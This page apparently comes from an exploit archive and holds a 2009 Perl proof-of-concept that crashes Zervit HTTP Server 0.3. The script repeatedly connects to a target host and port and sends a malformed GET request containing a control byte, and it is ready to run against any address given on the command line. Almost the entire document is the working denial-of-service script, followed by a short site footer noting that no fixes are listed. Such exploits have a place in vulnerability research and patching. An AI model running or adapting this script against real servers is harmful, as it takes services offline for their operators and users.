Zervit HTTP Server <= 0.3 (sockets++ crash) Remote Denial of Service

2009-04-22 06:34:30

#!/usr/bin/perl
#
# Zervit HTTP Server <= v0.3 Remote Denial of Service.
#
# --------------------------------------------------------------------
# The vulnerability is caused due to an error in multi-socket.
# This can be exploited to crash the HTTP service.
# --------------------------------------------------------------------
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan\n";
print "[+] Soft : Zervit 0.3 Remote DoS\n";

if (@ARGV < 1)
{
print "[-] Usage: <file.pl> <host> <port>\n";
print "[-] Exemple: file.pl 127.0.0.1 80\n";
exit;
}


$ip = $ARGV[0];
$port = $ARGV[1];

print "[+] Sending request...\n";

for($i=0;$i=4;$i++)
{
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-]Done!\n";

print $socket "GET \x11 HTTP/1.0\n\r\n";
}

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.